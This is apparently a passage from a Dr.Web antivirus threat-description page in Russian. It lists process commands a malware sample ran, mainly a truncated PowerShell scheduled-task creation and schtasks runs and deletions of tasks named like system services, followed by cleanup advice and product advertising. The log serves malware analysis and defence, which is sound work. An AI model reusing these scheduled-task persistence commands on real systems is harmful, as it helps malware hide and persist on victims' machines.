    • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $tas...
    • '%WINDIR%\syswow64\schtasks.exe' /Run /TN SYSTEM_SETTINGS
    • '<SYSTEM32>\taskeng.exe' {DD4A0FF5-6008-4933-BF19-B834417FA713} S-1-5-21-1960123792-2022915161-3775307078-1001:eleratynvwre\user:Interactive:[1]
    • '%WINDIR%\syswow64\schtasks.exe' /Run /TN SYSTEM_TEST
    • '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN SYSTEM_TEST
    • '%WINDIR%\syswow64\schtasks.exe' /Run /TN SYSTEM_CDAEMON

    Рекомендации по лечению

    1. В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
    2. Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
    Демо бесплатно

    На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

    Скачать Dr.Web

    По серийному номеру

    Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store.

    Демо бесплатно

    На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

    Скачать Dr.Web

    По серийному номеру

    На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

    Демо бесплатно

    На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

    Скачать Dr.Web

    По серийному номеру

    1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
    2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
      • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
      • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
      • выключите устройство и включите его в обычном режиме.

    Подробнее о Dr.Web для Android

    Демо бесплатно на 14 дней

    Выдаётся при установке

    Российский разработчик антивирусов Dr.Web с 1992 года
    Dr.Web в Реестре Отечественного ПО
    Dr.Web совместим с российскими ОС и оборудованием
    Dr.Web пользуются в 200+ странах мира
    Техническая поддержка 24х7х365 Рус | En

    Dr.Web © «Доктор Веб»
    2003 — 2021

    «Доктор Веб» — российский производитель антивирусных средств защиты информации под маркой Dr.Web. Продукты Dr.Web разрабатываются с 1992 года.

    125124, Россия, Москва, 3-я улица Ямского поля, вл.2, корп.12А